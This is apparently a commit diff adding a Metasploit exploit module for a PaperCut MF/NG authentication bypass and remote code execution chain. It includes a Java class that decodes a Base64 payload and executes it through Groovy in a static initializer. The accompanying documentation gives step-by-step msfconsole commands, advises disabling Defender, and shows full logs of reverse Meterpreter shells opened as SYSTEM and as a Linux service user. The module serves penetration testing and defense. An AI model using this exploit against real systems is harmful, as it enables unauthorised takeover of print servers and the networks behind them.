Add exploit module for the recent PaperCut MF/NG 0day (CVE-2026-81578 + CVE-2026-82078)

data/exploits/CVE-2026-82078/Metasploit.java

@@ -0,0 +1,21 @@
+// Compile for Java 8 with: javac --release 8 -g:none Metasploit.java
+// The module replaces the ten-character class name and PAYLOAD constant at runtime.
+
+import java.nio.charset.StandardCharsets;
+import java.util.Base64;
+
+public class Metasploit {
+    static {
+        try {
+            String source = new String(
+                Base64.getDecoder().decode("PAYLOAD"),
+                StandardCharsets.UTF_8
+            );
+
+            Class.forName("groovy.util.Eval")
+                .getMethod("me", String.class)
+                .invoke(null, source);
+        } catch (Throwable ignored) {
+        }
+    }
+}

documentation/modules/exploit/multi/http/papercut_ng_external_user_lookup_rce.md

@@ -0,0 +1,242 @@
+## Vulnerable Application
+This module exploits an authentication bypass in PaperCut NG and MF. A crafted Apache Tapestry
+complex-direct request invokes privileged ConfigEditor components through the public Home
+page. On version 26, the module reconfigures external user lookup to use an H2 JDBC URL whose
+initialization SQL evaluates Groovy code. On versions 24 and 25, it uses a bundled Derby
+procedure to write a temporary Groovy bootstrap class to the application classpath, then loads
+it as a database driver. The Java target serves an executable payload JAR and a generic
+memory-backed JAR loader over HTTP. Its payload classes and resources remain in memory; however,
+versions 24 and 25 still require the temporary Derby bootstrap class. The command targets execute
+a Windows or Linux command payload directly.
+
+## Testing
+Download and [install](https://www.papercut.com/help/manuals/ng-mf/common/install/) a vulnerable version of
+PaperCut NG or PaperCut MF for either Windows or Linux. Ensure the setup is finished before attempting to validate the
+exploit. By default, the server will listen for HTTP connections on port `9191`.
+
+This exploit was successfully tested against:
+* PaperCut MF 26.0.4 (Build 76494) <-- emergency patch v1
+* PaperCut NG 26.0.4 (Build 76495) <-- emergency patch v1
+* PaperCut NG 26.0.3 (Build 76225)
+* PaperCut NG 25.0.11 (Build 75758)
+* PaperCut NG 24.1.9 (Build 73376)
+
+The exploit has been tested with these payloads:
+* `java/meterpreter_reverse_tcp`
+* `java/meterpreter/reverse_tcp`
+* `java/shell_reverse_tcp`
+* `cmd/windows/http/x64/meterpreter_reverse_tcp`
+* `cmd/linux/http/x64/meterpreter_reverse_tcp`
+
+## Verification Steps
+Note: On Windows, disable Defender if you are using the default `cmd/windows/*` payloads.
+
+1. Start msfconsole
+2. `use exploit/multi/http/papercut_ng_external_user_lookup_rce`
+3. `set RHOST <TARGET_IP_ADDRESS>`
+4. `set target 0`
+5. `set payload java/meterpreter_reverse_tcp`
+6. `set LHOST eth0`
+7. `check`
+8. `exploit`
+
+## Scenarios
+
+### Java
+Note: The Java target is architecture agnostic and platform agnostic as it's a native Java payload, so it will
+work against either a Windows system or a Linux system.
+
+Note: The Java target deploys its Metasploit payload in-memory without touching disk. On older PaperCut versions 25.x
+and below, a bootstrap class will be dropped due to how Derby is leveraged for RCE. On newer PaperCut version 26.x this
+is not required as H2 is leveraged instead of Derby, so the payload is entirely in-memory.
+
+```
+msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > set target 0
+target => 0
+msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > set payload java/meterpreter_reverse_tcp 
+payload => java/meterpreter_reverse_tcp
+msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > show options 
+
+Module options (exploit/multi/http/papercut_ng_external_user_lookup_rce):
+
+   Name       Current Setting  Required  Description
+   ----       ---------------  --------  -----------
+   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h
+   RHOSTS     192.168.86.175   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+   RPORT      9191             yes       The target port (TCP)
+   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on
+                                          all addresses.
+   SRVPORT    8181             yes       The local port to listen on.
+   SRVSSL     false            no        Negotiate SSL/TLS for local server connections
+   SSL        false            no        Negotiate SSL/TLS for outgoing connections
+   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
+   TARGETURI  /app             yes       Path to the PaperCut application
+   URIPATH                     no        The URI to use for this exploit (default is random)
+   VHOST                       no        HTTP server virtual host
+
+
+Payload options (java/meterpreter_reverse_tcp):
+
+   Name        Current Setting  Required  Description
+   ----        ---------------  --------  -----------
+   EXTENSIONS                   no        Comma-separate list of extensions to load
+   LHOST       192.168.86.122   yes       The listen address (an interface may be specified)
+   LPORT       5555             yes       The listen port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   Java
+
+
+
+View the full module info with the info, or info -d command.
+
+msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > set RHOSTS 192.168.86.155
+RHOSTS => 192.168.86.155
+msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > check
+[+] 192.168.86.155:9191 - The target appears to be vulnerable. PaperCut MF 26.0.4.76494.
+msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > exploit 
+[*] Started reverse TCP handler on 192.168.86.122:5555 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. PaperCut MF 26.0.4.76494.
+[*] Using URL: http://192.168.86.122:8181/jhnadryh/
+[*] PaperCut 26.0.4.76494 detected; using H2 to execute Groovy bootstrap
+[*] Setting config...
+[*] Triggering the external user lookup
+[*] Resetting config...
+[*] Meterpreter session 18 opened (192.168.86.122:5555 -> 192.168.86.155:64245) at 2026-08-30 15:45:46 +0100
+[*] Server stopped.
+
+meterpreter > getuid
+Server username: SYSTEM
+meterpreter > sysinfo 
+Computer        : WIN-FG3H2SKPOTA
+OS              : Windows Server 2025 10.0 (amd64)
+Architecture    : x64
+System Language : en_IE
+Meterpreter     : java/windows
+meterpreter > cat version.txt 
+[version]
+name-with-version=PaperCut MF 26.0.4 (Build 76494)
+name=PaperCut MF
+version-major=26
+version-minor=0
+version-patch=4
+version-suffix=
+version-build=76494
+meterpreter > 
+```
+
+### Windows
+
+```
+msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > set target 1
+target => 1
+msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > set payload cmd/windows/http/x64/meterpreter_reverse_tcp 
+payload => cmd/windows/http/x64/meterpreter_reverse_tcp
+msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > exploit 
+[*] Started reverse TCP handler on 192.168.86.122:5555 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. PaperCut MF 26.0.4.76494.
+[*] PaperCut 26.0.4.76494 detected; using H2 to execute Groovy bootstrap
+[*] Setting config...
+[*] Triggering the external user lookup
+[*] Resetting config...
+[*] Meterpreter session 19 opened (192.168.86.122:5555 -> 192.168.86.155:64257) at 2026-08-30 15:47:44 +0100
+
+meterpreter > getuid
+Server username: NT AUTHORITY\SYSTEM
+meterpreter > 
+```
+
+### Linux
+
+```
+msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > set target 2
+target => 2
+msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > set payload cmd/linux/http/x64/meterpreter_reverse_tcp 
+payload => cmd/linux/http/x64/meterpreter_reverse_tcp
+msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > show options 
+
+Module options (exploit/multi/http/papercut_ng_external_user_lookup_rce):
+
+   Name       Current Setting  Required  Description
+   ----       ---------------  --------  -----------
+   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h
+   RHOSTS     192.168.86.175   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+   RPORT      9191             yes       The target port (TCP)
+   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on
+                                          all addresses.
+   SRVPORT    8181             yes       The local port to listen on.
+   SRVSSL     false            no        Negotiate SSL/TLS for local server connections
+   SSL        false            no        Negotiate SSL/TLS for outgoing connections
+   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
+   TARGETURI  /app             yes       Path to the PaperCut application
+   URIPATH                     no        The URI to use for this exploit (default is random)
+   VHOST                       no        HTTP server virtual host
+
+
+Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
+
+   Name            Current Setting  Required  Description
+   ----            ---------------  --------  -----------
+   EXTENSIONS                       no        Comma-separate list of extensions to load
+   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP, WGET)
+   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
+   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant
+                                               also Python ≥3.8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+, shell-search, shell)
+   FETCH_SRVHOST                    no        Local IP to use for serving payload
+   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
+   FETCH_URIPATH                    no        Local URI to use for serving payload
+   LHOST           192.168.86.122   yes       The listen address (an interface may be specified)
+   LPORT           5555             yes       The listen port
+
+
+   When FETCH_COMMAND is one of CURL,GET,WGET:
+
+   Name        Current Setting  Required  Description
+   ----        ---------------  --------  -----------
+   FETCH_PIPE  false            yes       Host both the binary payload and the command so it can be piped directly to the shell.
+
+
+   When FETCH_FILELESS is none:
+
+   Name                Current Setting  Required  Description
+   ----                ---------------  --------  -----------
+   FETCH_FILENAME      weeVjpRDjoW      no        Name to use on remote system when storing payload; cannot contain spaces or slashes
+   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   2   Linux Command
+
+
+
+View the full module info with the info, or info -d command.
+
+msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > exploit 
+[*] Started reverse TCP handler on 192.168.86.122:5555 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. PaperCut NG 26.0.3.76225.
+[*] PaperCut 26.0.3.76225 detected; using H2 to execute Groovy bootstrap
+[*] Setting config...
+[*] Triggering the external user lookup
+[*] Resetting config...
+[*] Meterpreter session 17 opened (192.168.86.122:5555 -> 192.168.86.175:35480) at 2026-08-30 15:35:25 +0100
+
+meterpreter > getuid
+Server username: papercut
+meterpreter > sysinfo 
+Computer     : testing-ubuntu-vm-1
+OS           : Ubuntu 24.04 (Linux 6.17.0-35-generic)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+meterpreter > 
+```